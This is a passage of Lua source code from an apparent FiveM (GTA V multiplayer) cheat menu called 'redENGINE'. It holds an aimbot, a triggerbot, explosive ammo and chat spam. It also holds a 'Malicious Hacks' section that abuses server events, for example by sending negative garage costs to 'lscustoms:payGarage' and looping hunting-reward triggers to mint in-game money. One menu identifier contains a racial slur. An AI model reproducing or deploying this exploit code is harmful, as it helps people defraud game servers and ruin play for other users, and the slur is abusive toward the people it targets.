TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeEnd.x,
TLineThreeEnd.y,
TLineThreeEnd.z,
TLineFourBegin.x,
TLineFourBegin.y,
TLineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorOneBegin.x,
ConnectorOneBegin.y,
ConnectorOneBegin.z,
ConnectorOneEnd.x,
ConnectorOneEnd.y,
ConnectorOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorTwoBegin.x,
ConnectorTwoBegin.y,
ConnectorTwoBegin.z,
ConnectorTwoEnd.x,
ConnectorTwoEnd.y,
ConnectorTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorThreeBegin.x,
ConnectorThreeBegin.y,
ConnectorThreeBegin.z,
ConnectorThreeEnd.x,
ConnectorThreeEnd.y,
ConnectorThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
ConnectorFourBegin.x,
ConnectorFourBegin.y,
ConnectorFourBegin.z,
ConnectorFourEnd.x,
ConnectorFourEnd.y,
ConnectorFourEnd.z,
ra.r,
ra.g,
ra.b,
255
)

DrawLine(cx, cy, cz, x, y, z, ra.r, ra.g, ra.b, 255)


end
end
end

if VehGod and IsPedInAnyVehicle(PlayerPedId(), true) then


SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId()), true)
end

if rainbowTint then
local weaponhash = GetSelectedPedWeapon(GetPlayerPed(-1))
SetPedWeaponTintIndex(PlayerPedId(), weaponhash, [Link](0,
7))
end

if showCoords then
x,y,ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdonAJPmspFw =
[Link](GetEntityCoords(GetPlayerPed(-1),true))
roundx=tonumber([Link]("%.2f",x))
roundy=tonumber([Link]("%.2f",y))

roundz=tonumber([Link]("%.2f",ammSjUXRjXNvlMInQTHlXzwzWoPngUdPOsHEjyNDnRVdon
AJPmspFw))
drawOnscreenText("~r~X:~s~ "..roundx,0.05,0.00)
drawOnscreenText("~r~Y:~s~ "..roundy,0.11,0.00)
drawOnscreenText("~r~Z:~s~ "..roundz,0.17,0.00)
end

if bulletGun then
local startDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
local endDistance = GetDistance(GetGameplayCamCoord(),
GetEntityCoords(PlayerPedId(), true))
startDistance = startDistance + 0.25
endDistance = endDistance + 1000.0

if IsPedOnFoot(PlayerPedId()) and IsPedShooting(PlayerPedId())


then
local bullet = GetHashKey(bullets[selectedBullet])
if not HasWeaponAssetLoaded(bullet) then
RequestWeaponAsset(bullet, 31, false)
while not HasWeaponAssetLoaded(bullet) do
[Link](0)
end
end
ShootSingleBulletBetweenCoords(add(GetGameplayCamCoord(),
multiply(rotDirection(GetGameplayCamRot(0)), startDistance)).x,
add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)),
startDistance)).y, add(GetGameplayCamCoord(),
multiply(rotDirection(GetGameplayCamRot(0)), startDistance)).z,
add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)),
endDistance)).x, add(GetGameplayCamCoord(),
multiply(rotDirection(GetGameplayCamRot(0)), endDistance)).y,
add(GetGameplayCamCoord(), multiply(rotDirection(GetGameplayCamRot(0)),
endDistance)).z, 250, true, bullet, PlayerPedId(), true, false, -1.0)
end

end

if spam then

TriggerServerEvent('chatEvent', message)
TriggerServerEvent('_chat:messageEntered', "", { 255, 255,
255 }, message)
TriggerServerEvent('playerDied', message)
end

if shootBomb then
for i = 0, 128 do
if IsPedShooting(GetPlayerPed(i)) then
AddExplosion(GetEntityCoords(GetPlayerPed(i)), 4,
100.0, false, true, 0.0)
end
end
end

if vehicleGun then
local heading = GetEntityHeading(PlayerPedId())
local model = GetHashKey(vehicles[selectedVehicle])
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))

RequestModel(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
[Link](0)
end

if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
if IsPedOnFoot(PlayerPedId()) then
local veh = CreateVehicle(model, spawnPosition.x,
spawnPosition.y, spawnPosition.z, heading, true, true)
SetVehicleForwardSpeed(veh, 120.0)
SetModelAsNoLongerNeeded(model)
SetVehicleAsNoLongerNeeded(veh)
end
end
end
end

if pedGun then
local heading = GetEntityHeading(PlayerPedId())
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local camPosition = GetGameplayCamCoord()
local playerPosition = GetEntityCoords(PlayerPedId(), true)
local spawnDistance = GetDistance(camPosition, playerPosition)
spawnDistance = spawnDistance + 5
local spawnPosition = add(camPosition, multiply(dir,
spawnDistance))

local model = GetHashKey(peds[selectedPed])

RequestModel(model)
while not HasModelLoaded(model) do
[Link](0)
end

if HasModelLoaded(model) then
if IsPedShooting(PlayerPedId()) then
local spawnedPed = CreatePed(26, model,
spawnPosition.x, spawnPosition.y, spawnPosition.z, heading, true, true)
SetEntityRecordsCollisions(spawnedPed, true)

for f = 0.0, 75.0 do


if HasEntityCollidedWithAnything(spawnedPed) then
break end
ApplyForceToEntity(spawnedPed, 1, dir.x * 10.0,
dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
end
end
end
end

if nameAboveHead then
local dW = false
local dX = 130
local cx = 0;
for M = 0, 128 do
if NetworkIsPlayerActive(M) and GetPlayerPed(M) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(M)
blip = GetBlipFromEntity(ped)
x1, y1, z1 =
[Link](GetEntityCoords(GetPlayerPed(-1), true))
x2, y2, z2 =
[Link](GetEntityCoords(GetPlayerPed(M), true))
distance = [Link](GetDistanceBetweenCoords(x1, y1,
z1, x2, y2, z2, true))
if dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0)
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
if distance < dX then
if not dW then
if NetworkIsPlayerTalking(M) then
local dY = f(1.0) DrawText3D(x2, y2, z2 +
1.2, GetPlayerServerId(M).." | "..GetPlayerName(M), dY.r, dY.g, dY.b)
else
DrawText3D(x2, y2, z2 + 1.2,
GetPlayerServerId(M).." | "..GetPlayerName(M), 255, 255, 255)
end
end
end
end
end
end

if forceGun then
local rot = GetGameplayCamRot(0)
local dir = RotToDirection(rot)
local heading = GetEntityHeading(PlayerPedId())
if IsPedShooting(PlayerPedId()) then
local aiming, entity =
GetEntityPlayerIsFreeAimingAt(PlayerId())
if aiming then

if IsPedInAnyVehicle(entity) then
local veh = GetVehiclePedIsUsing(entity)
DeleteEntity(entity)
SetEntityHeading(veh, heading)
SetVehicleForwardSpeed(veh, 150.0)
else
for i = 0, 10 do
ApplyForceToEntity(entity, 1, dir.x * 10.0,
dir.y * 10.0, dir.z * 10.0, 0.0, 0.0, 0.0, false, false, true, true, false, true)
end
end
end
end
end

if explosiveAmmo then
local impact, coords =
GetPedLastWeaponImpactCoord(PlayerPedId())
if impact then
AddExplosion(coords.x, coords.y, coords.z, 2, 100000.0,
true, false, 0)
end
end

if aimbot then
for i = 0, 128 do
if i ~= PlayerId() then
if IsPlayerFreeAiming(PlayerId()) then
local TargetPed = GetPlayerPed(i)
local TargetPos = GetEntityCoords(TargetPed)
local Exist = DoesEntityExist(TargetPed)
local Dead = IsPlayerDead(TargetPed)

if Exist and not Dead then


local OnScreen, ScreenX, ScreenY =
World3dToScreen2d(TargetPos.x, TargetPos.y, TargetPos.z, 0)
if IsEntityVisible(TargetPed) and OnScreen then
if HasEntityClearLosToEntity(PlayerPedId(),
TargetPed, 10000) then
local TargetCoords =
GetPedBoneCoords(TargetPed, 31086, 0, 0, 0)
SetPedShootsAtCoord(PlayerPedId(),
TargetCoords.x, TargetCoords.y, TargetCoords.z, 1)
end
end
end
end
end
end
end

if TriggerBot then
local Aiming, Entity =
GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
if Aiming then
if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0)
and IsPedAPlayer(Entity) then
ShootPlayer(Entity)
end
end
end

if fastrun then
SetRunSprintMultiplierForPlayer(PlayerId(), 2.49)
SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
else
SetRunSprintMultiplierForPlayer(PlayerId(), 1.0)
SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
end

if SuperJump then
SetSuperJumpThisFrame(PlayerId())
end

if huntspam then
[Link](1)
TriggerServerEvent('esx-qalle-hunting:reward', 20000)
TriggerServerEvent('esx-qalle-hunting:sell')
end

if Oneshot then
SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
local gotEntity = getEntity(PlayerId())
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then

NetworkExplodeVehicle(GetVehiclePedIsIn(gotEntity, true), true, true, 0)


end
else
if IsControlJustReleased(1, 142) then

NetworkExplodeVehicle(GetVehiclePedIsIn(gotEntity, true), true, true, 0)


end
end
end
elseif IsEntityAVehicle(gotEntity) then
if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
if IsControlJustReleased(1, 69) then
NetworkExplodeVehicle(gotEntity, true, true, 0)
end
else
if IsControlJustReleased(1, 142) then
NetworkExplodeVehicle(gotEntity, true, true, 0)
end
end
end
else
SetPlayerWeaponDamageModifier(PlayerId(), 1.0)
end
end
end)

[Link](
function()

local currentTint = 1
local selectedTint = 1

intro = 0
intro2 = 0

[Link]("MainMenu", "redENGINE")
-- sprites shopui_title_gr_gunmod, mpshops =
shopui_title_graphics_sale, assassinations = target1 , target3
[Link]("MainMenu",
"shopui_title_clubhousemod", "shopui_title_clubhousemod")
[Link](function()
while false do
[Link]("MainMenu", "sprraces",
"spr_desc_1")
[Link](50)
[Link]("MainMenu", "sprraces",
"spr_desc_2")
[Link](50)
[Link]("MainMenu", "sprraces",
"spr_desc_3")
[Link](50)
[Link]("MainMenu", "sprraces",
"spr_desc_4")
[Link](100)
[Link]("MainMenu", "sprraces",
"spr_desc_5")
[Link](100)
end
end)
[Link]("SelfMenu", "MainMenu", "Self Menu")
[Link]("OnlinePlayersMenu", "MainMenu", "Players Online:
" .. #getPlayerIds())
[Link]("WeaponMenu", "MainMenu", "Weapon Menu")
[Link]("MaliciousMenu", "MainMenu", "Malicious Hacks")
[Link]("VRPMenu", "MainMenu", "VRP Options")
[Link]("ESXMenu", "MainMenu", "ESX Options")
[Link]("ESXJobMenu", "ESXMenu", "ESX Jobs")
[Link]("ESXMoneyMenu", "ESXMenu", "ESX Money Menu")
[Link]("ESXDrugMenu", "ESXMenu", "ESX Drugs")
[Link]("VehMenu", "MainMenu", "Vehicle Menu")
[Link]("VehSpawnOpt", "VehMenu", "Vehicle Spawn
Options")
[Link]("PlayerOptionsMenu", 'OnlinePlayersMenu', 'Player
Options')
[Link]("TeleportMenu", "MainMenu", "Teleport Menu")
[Link]("NiggerCustoms", "VehMenu", "LC Customs")
[Link]("PlayerTrollMenu", "PlayerOptionsMenu", "Troll
Options")
[Link]("PlayerESXMenu", "PlayerOptionsMenu", "ESX
Options")
[Link]("PlayerESXJobMenu", "PlayerOptionsMenu", "ESX
Jobs")
[Link]("PlayerESXTriggerMenu", "PlayerESXMenu", "ESX
Triggers")
[Link]("BulletGunMenu", "WeaponMenu", "Bullets Gun
Options")
[Link]("TrollMenu", "MainMenu", "Troll Options")
[Link]("WeaponCustomization", "WeaponMenu", "Weapon
Cusomization Options")
[Link]("WeaponTintMenu", "WeaponCustomization", "Weapon
Tints")
[Link]("VehicleRamMenu", "PlayerTrollMenu", "Ram
Vehicles Into Player")
[Link]("ESXBossMenu", "ESXMenu", "ESX Boss")
[Link]("SpawnPropsMenu", "PlayerTrollMenu", "Spawn Props
On Player")
[Link]("PerformanceMenu", "NiggerCustoms", "Performance
Tuning")
[Link]("SingleWepPlayer", 'PlayerOptionsMenu', 'Single
Weapon Menu')
[Link]("SettingsMenu", "MainMenu", "Settings")
[Link]("Credits", "SettingsMenu", "Credits")
[Link]("Themes", "SettingsMenu", "Themes")
[Link]("ESXMiscMenu", "ESXMenu", "ESX Misc")
[Link]("VehBoostMenu", "NiggerCustoms", "Vehicle
Booster")
[Link]("SpawnPedsMenu", "TrollMenu", "Spawn Peds")
[Link]("CarTypeSelection", "VehMenu", "Vehicle Types")
[Link]("CarOptions", "CarTypeSelection", "Car Types")
[Link]("CarTypes", "VehMenu", "Vehicles")
[Link]("tunings", "NiggerCustoms", "Extrerior Tuning")
[Link]("performance", "NiggerCustoms", "Performance
Tuning")
[Link]("WeaponTypes", "WeaponMenu", "Weapons")
[Link]("WeaponTypeSelection", "WeaponTypes", "Weapon")
[Link]("WeaponOptions", "WeaponTypeSelection", "Weapon
Options")
[Link]("ModSelect", "WeaponOptions", "Weapon Mod
Options")
[Link]("BlockAreas", "TrollMenu", "Block Off Areas")
[Link]("InfoMenu", "SettingsMenu", "Info")
[Link]("PlayerSpawnPedsMenu", "PlayerTrollMenu", "Spawn
Peds")
for i, dA in pairs(bd) do
[Link]([Link], "tunings", [Link]) if [Link] ==
"paint" then
[Link]("primary", [Link], "Primary Paint")
[Link]("secondary", [Link], "Secondary Paint")
[Link]("rimpaint", [Link], "Wheel Paint")
[Link]("classic1", "primary", "Classic Paint")
[Link]("metallic1", "primary", "Metallic Paint")
[Link]("matte1", "primary", "Matte Paint")
[Link]("metal1", "primary", "Metal Paint")
[Link]("classic2", "secondary", "Classic Paint")
[Link]("metallic2", "secondary", "Metallic Paint")
[Link]("matte2", "secondary", "Matte Paint")
[Link]("metal2", "secondary", "Metal Paint")
[Link]("classic3", "rimpaint", "Classic Paint")
[Link]("metallic3", "rimpaint", "Metallic Paint")
[Link]("matte3", "rimpaint", "Matte Paint")
[Link]("metal3", "rimpaint", "Metal Paint")
end
end
for i, dA in pairs(be) do
[Link]([Link], "performance", [Link])
end

local SelectedPlayer

while Enabled do

if intro == 0 then
scaleform = Initialize("mp_big_message_freemode", "~r~redENGINE
Menu Started")
DrawScaleformMovieFullscreen(scaleform, 80, 80, 80, 80, 0)
[Link](function()
while true do
Wait(2000)
intro = intro + 1
end
end)
elseif intro == 100 then
end

if intro2 == 0 and intro >= 100 then


scaleform = Initialize("mp_big_message_freemode", "~r~Numpad 6
to open")
DrawScaleformMovieFullscreen(scaleform, 80, 80, 80, 80, 0)
[Link](function()
while true do
Wait(2000)
intro2 = intro2 + 1
end
end)
elseif intro2 == 100 then
end

ped = PlayerPedId()
veh = GetVehiclePedIsUsing(ped)
SetVehicleModKit(veh, 0)
for i, dA in pairs(bd) do
if [Link]("tunings") then
if b8 then
if ba == "neon" then
local r, g, b = [Link](b9)
SetVehicleNeonLightsColour(veh, r, g, b)
SetVehicleNeonLightEnabled(veh, 0, bc)
SetVehicleNeonLightEnabled(veh, 1, bc)
SetVehicleNeonLightEnabled(veh, 2, bc)
SetVehicleNeonLightEnabled(veh, 3, bc)
b8 = false
ba = -1
b9 = -1
elseif ba == "paint" then
local dB, dC, dD, dA = [Link](b9)
SetVehicleColours(veh, dB, dC)
SetVehicleExtraColours(veh, dD, dA)
b8 = false
ba = -1;
b9 = -1
else
if bc == "rm" then
RemoveVehicleMod(veh, ba)
b8 = false
ba = -1
b9 = -1
else
SetVehicleMod(veh, ba, b9, false)
b8 = false
ba = -1
b9 = -1
end
end
end
end

if [Link]([Link]) then
if [Link] == "wheeltypes" then
if [Link]("Sport Wheels") then
SetVehicleWheelType(veh, 0)
elseif [Link]("Muscle Wheels") then
SetVehicleWheelType(veh, 1)
elseif [Link]("Lowrider Wheels") then
SetVehicleWheelType(veh, 2)
elseif [Link]("SUV Wheels") then
SetVehicleWheelType(veh, 3)
elseif [Link]("Offroad Wheels") then
SetVehicleWheelType(veh, 4)
elseif [Link]("Tuner Wheels") then
SetVehicleWheelType(veh, 5)
elseif [Link]("High End Wheels") then
SetVehicleWheelType(veh, 7)
end

[Link]()
elseif [Link] == "extra" then
local dF = checkValidVehicleExtras()
for i, dA in pairs(dF) do
if IsVehicleExtraTurnedOn(veh, i) then
pricestring = "Installed"
else
pricestring = "Not Installed"
end
if [Link]([Link], pricestring) then
SetVehicleExtra(veh, i,
IsVehicleExtraTurnedOn(veh, i))
end
end

[Link]()
elseif [Link] == "headlight" then
if [Link]("None") then
SetVehicleHeadlightsColour(veh, -1)
end
for dK, dA in pairs(bo) do
tp = GetVehicleHeadlightsColour(veh)
if tp == [Link] and not bg then
pricetext = "Installed"
else
if bg and tp == [Link] then
pricetext = "Previewing"
else pricetext = "Not Installed"
end
end
head = GetVehicleHeadlightsColour(veh)
if [Link]([Link], pricetext) then
if not bg then
bi = "headlight"
bk = false
oldhead = GetVehicleHeadlightsColour(veh)
bh = [Link](oldhead)
SetVehicleHeadlightsColour(veh, [Link])
bg = true
elseif bg and head == [Link] then
ToggleVehicleMod(veh, 22, true)
SetVehicleHeadlightsColour(veh, [Link])
bg = false; bi = -1; bh = -1
elseif bg and head ~= [Link] then
SetVehicleHeadlightsColour(veh, [Link]) bg =
true
end
end
end

[Link]()
elseif [Link] == "neon" then
if [Link]("None") then
SetVehicleNeonLightsColour(veh, 255, 255, 255)
SetVehicleNeonLightEnabled(veh, 0, false)
SetVehicleNeonLightEnabled(veh, 1, false)
SetVehicleNeonLightEnabled(veh, 2, false)
SetVehicleNeonLightEnabled(veh, 3, false)
end
for i, dA in pairs(colors) do
colorr, colorg, colorb = [Link](dA)
r, g, b = GetVehicleNeonLightsColour(veh)
if colorr == r and colorg == g and colorb == b and
IsVehicleNeonLightEnabled(vehicle, 2) and not b8 then
pricestring = "Installed"
else
if b8 and colorr == r and colorg == g and
colorb == b then
pricestring = "Previewing"
else
pricestring = "Not Installed"
end
end
if [Link](i, pricestring) then
if not b8 then
ba = "neon"
bc = IsVehicleNeonLightEnabled(veh, 1)
oldr, oldg, oldb =
GetVehicleNeonLightsColour(veh)
b9 = [Link](oldr, oldg, oldb)
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
elseif b8 and colorr == r and colorg == g and
colorb == b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = false
ba = -1
b9 = -1
elseif b8 and colorr ~= r or colorg ~= g or
colorb ~= b then
SetVehicleNeonLightsColour(veh, colorr,
colorg, colorb)
SetVehicleNeonLightEnabled(veh, 0, true)
SetVehicleNeonLightEnabled(veh, 1, true)
SetVehicleNeonLightEnabled(veh, 2, true)
SetVehicleNeonLightEnabled(veh, 3, true)
b8 = true
end
end
end

[Link]()
elseif [Link] == "paint" then
if [Link]("Primary Paint", "primary") then
elseif [Link]("Secondary Paint",
"secondary") then
elseif [Link]("Wheel Paint", "rimpaint")
then
end
[Link]()
else
local as = checkValidVehicleMods([Link])
for dG, dH in pairs(as) do
if [Link] == "Stock" then
price = 0
end
if [Link] == "Horns" then
for dI, dJ in pairs(horns) do
if dJ ==dG - 1 then
[Link] = dI
end
end
end
if [Link] == "NULL" then
[Link] = "unknown"
end
if [Link]([Link], price) then
if not b8 then
ba = [Link]
b9 = GetVehicleMod(veh, [Link])
b8 = true
if [Link] == -1 then
bc = "rm"
RemoveVehicleMod(veh, [Link])
b8 = false
ba = -1
b9 = -1
bc = false
else
bc = false
SetVehicleMod(veh, [Link],
[Link], false)
end
elseif b8 and GetVehicleMod(veh, [Link]) ==
[Link] then
b8 = false
ba = -1
b9 = -1
bc = false
if [Link] == -1 then
RemoveVehicleMod(veh, [Link])
else
SetVehicleMod(veh, [Link],
[Link], false)
end
elseif b8 and GetVehicleMod(veh, [Link]) ~=
[Link] then
if [Link] == -1 then
RemoveVehicleMod(veh, [Link])
b8 = false
ba = -1
b9 = -1
bc = false
else
SetVehicleMod(veh, [Link],
[Link], false)
b8 = true
end
end
end
end
[Link]()
end
end
end

for i, dA in pairs(be) do
if [Link]([Link]) then
if GetVehicleMod(veh, [Link]) == 0 then pricestock = "Not Installed"
price1 = "Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, [Link]) == 1 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Installed"
price3 = "Not Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, [Link]) == 2 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Installed"
price4 = "Not Installed"
elseif GetVehicleMod(veh, [Link]) == 3 then pricestock = "Not
Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Installed"
elseif GetVehicleMod(veh, [Link]) == -1 then pricestock =
"Installed"
price1 = "Not Installed"
price2 = "Not Installed"
price3 = "Not Installed"
price4 = "Not Installed"
end
if [Link]("Stock "..[Link], pricestock) then
SetVehicleMod(veh, [Link], -1)
elseif [Link]([Link].." Upgrade 1", price1) then
SetVehicleMod(veh, [Link], 0)
elseif [Link]([Link].." Upgrade 2", price2) then
SetVehicleMod(veh, [Link], 1)
elseif [Link]([Link].." Upgrade 3", price3) then
SetVehicleMod(veh, [Link], 2)
elseif [Link] ~= 13 and [Link] ~= 12 and [Link]([Link].."
Upgrade 4", price4) then
SetVehicleMod(veh, [Link], 3) end; [Link]()
end
end

if [Link]("MainMenu") then
drawNotification("~r~redENGINE")
if [Link]("-- Self Menu --", "SelfMenu") then
elseif [Link]("-- Online Players --",
"OnlinePlayersMenu") then
elseif [Link]("-- Teleport Menu --",
"TeleportMenu") then
elseif [Link]("-- Weapon Menu -- " , "WeaponMenu")
then
elseif [Link]("-- Vehicle Menu --", "VehMenu") then
elseif [Link]("-- Malicious Hacks --",
"MaliciousMenu") then
elseif [Link]("-- Trolling Options --",
"TrollMenu") then
elseif [Link]("-- ESX Options --", "ESXMenu") then
elseif [Link]("-- Disable Menu --") then
Enabled = false
end

[Link]()
elseif [Link]("VRPMenu") then
if [Link]('VRP PayGarage 100$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -100})
elseif [Link]('VRP PayGarage 1000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -1000})
elseif [Link]('VRP PayGarage 10 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -10000})
elseif [Link]('VRP PayGarage 100 000$') then
TriggerServerEvent('lscustoms:payGarage', {costs = -
100000})
elseif [Link]('VRP Get Driver Licence') then
TriggerServerEvent('dmv:success')
elseif [Link]('VRP Bank Deposit') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:deposit', amount)
elseif [Link]('VRP Bank Whithdraw') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('bank:withdraw', amount)
elseif [Link]('VRP Slot Machine') then
local amount = KeyboardInput("Enter Amount Of Money", "",
99999999999)
TriggerServerEvent('vrp_slotmachine:server:2', amount)
end

[Link]()
elseif [Link]("SettingsMenu") then
if [Link]("Menu X", menuX, currentMenuX,
selectedMenuX, function(currentIndex, selectedIndex)
currentMenuX = currentIndex
selectedMenuX = selectedIndex
for i = 0, #allMenus do
[Link](allMenus[i], menuX[currentMenuX])
end
end)
then
elseif [Link]("Menu Y", menuY, currentMenuY,
selectedMenuY, function(currentIndex, selectedIndex)
currentMenuY = currentIndex
selectedMenuY = selectedIndex
for i = 0, #allMenus do
[Link](allMenus[i], menuY[currentMenuY])
end
end)
then
elseif [Link]("Discord Rich Presence",
discordPresence, function(enabled) discordPresence = enabled end) then
elseif [Link]("Credits", "Credits") then
elseif [Link]("Themes", "Themes") then
elseif [Link]("Info", "InfoMenu") then
end

[Link]()
elseif [Link]("InfoMenu") then
if [Link]("Build 0.9") then
end

[Link]()
elseif [Link]("Themes") then
if [Link]("Original") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link](allMenus[i], 255, 0, 0, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 255, 0, 0, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 255, 0, 0, 255)
end
elseif [Link]("Original Rainbow") then
animated = false
rainbow = true
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(bd) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
for i, dA in pairs(be) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
end
elseif [Link]("Original White") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link](allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 255, 255, 255, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 255, 255, 255, 255)
end
elseif [Link]("Original Green") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link](allMenus[i], 0, 255, 0, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 0, 255, 0, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 0, 255, 0, 255)
end
elseif [Link]("Original Blue") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link](allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 0, 0, 255, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"shopui_title_gr_gunmod", "shopui_title_gr_gunmod")
[Link]([Link], 0, 0, 255, 255)
end
elseif [Link]("Gradient Black") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i], "shared",
"bggradient_16x512")
[Link](allMenus[i], 0, 0, 255, 255)
end
for i, dA in pairs(bd) do
[Link]([Link], "shared",
"bggradient_16x512")
[Link]([Link], 0, 0, 255, 255)
end
for i, dA in pairs(be) do
[Link]([Link], "shared",
"bggradient_16x512")
[Link]([Link], 0, 0, 255, 255)
end
elseif [Link]("Animated") then
for i = 0, #allMenus do
[Link](allMenus[i], 255, 255, 255, 255)
end
rainbow = false
animated = true
elseif [Link]("God") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"assassinations", "target1")
[Link](allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"assassinations", "target1")
[Link]([Link], 255, 255, 255, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"assassinations", "target1")
[Link]([Link], 255, 255, 255, 255)
end
elseif [Link]("God2") then
animated = false
rainbow = false
[Link](250)
for i = 0, #allMenus do
[Link](allMenus[i],
"assassinations", "target3")
[Link](allMenus[i], 255, 255, 255, 255)
end
for i, dA in pairs(bd) do
[Link]([Link],
"assassinations", "target3")
[Link]([Link], 255, 255, 255, 255)
end
for i, dA in pairs(be) do
[Link]([Link],
"assassinations", "target3")
[Link]([Link], 255, 255, 255, 255)
end
end

[Link]()
elseif [Link]("Credits") then
if [Link]("Made By: Mestari Halla-aho#7167") then
end

[Link]()
elseif [Link]("WeaponTypes") then
for e0, ev in pairs(b7) do
if [Link](""..e0, "WeaponTypeSelection") then
dy = ev
end
end
[Link]()
elseif [Link]("WeaponTypeSelection") then
for e0, ev in pairs(dy) do
if [Link]([Link], "WeaponOptions")
then
dz = ev
end
end

[Link]()
elseif [Link]("WeaponOptions") then
if [Link]("Spawn Weapon") then
GiveWeaponToPed(GetPlayerPed(-1), GetHashKey([Link]), 1000,
false)
end
if [Link]("Remove Weapon") then
RemoveWeaponFromPed(GetPlayerPed(-1), GetHashKey([Link]))
end
if [Link]("Add Ammo") then
SetPedAmmo(GetPlayerPed(-1), GetHashKey([Link]), 5000)
end
if [Link]("Infinite ~s~Ammo",
[Link], function(ew) end) then
[Link] = not [Link]
SetPedInfiniteAmmo(GetPlayerPed(-1),
[Link], GetHashKey([Link])) SetPedInfiniteAmmoClip(GetPlayerPed(-1), true)
PedSkipNextReloading(GetPlayerPed(-1))
SetPedShootRate(GetPlayerPed(-1), 1000)
end
for e0, ev in pairs([Link]) do
if [Link](""..e0, "ModSelect")
then
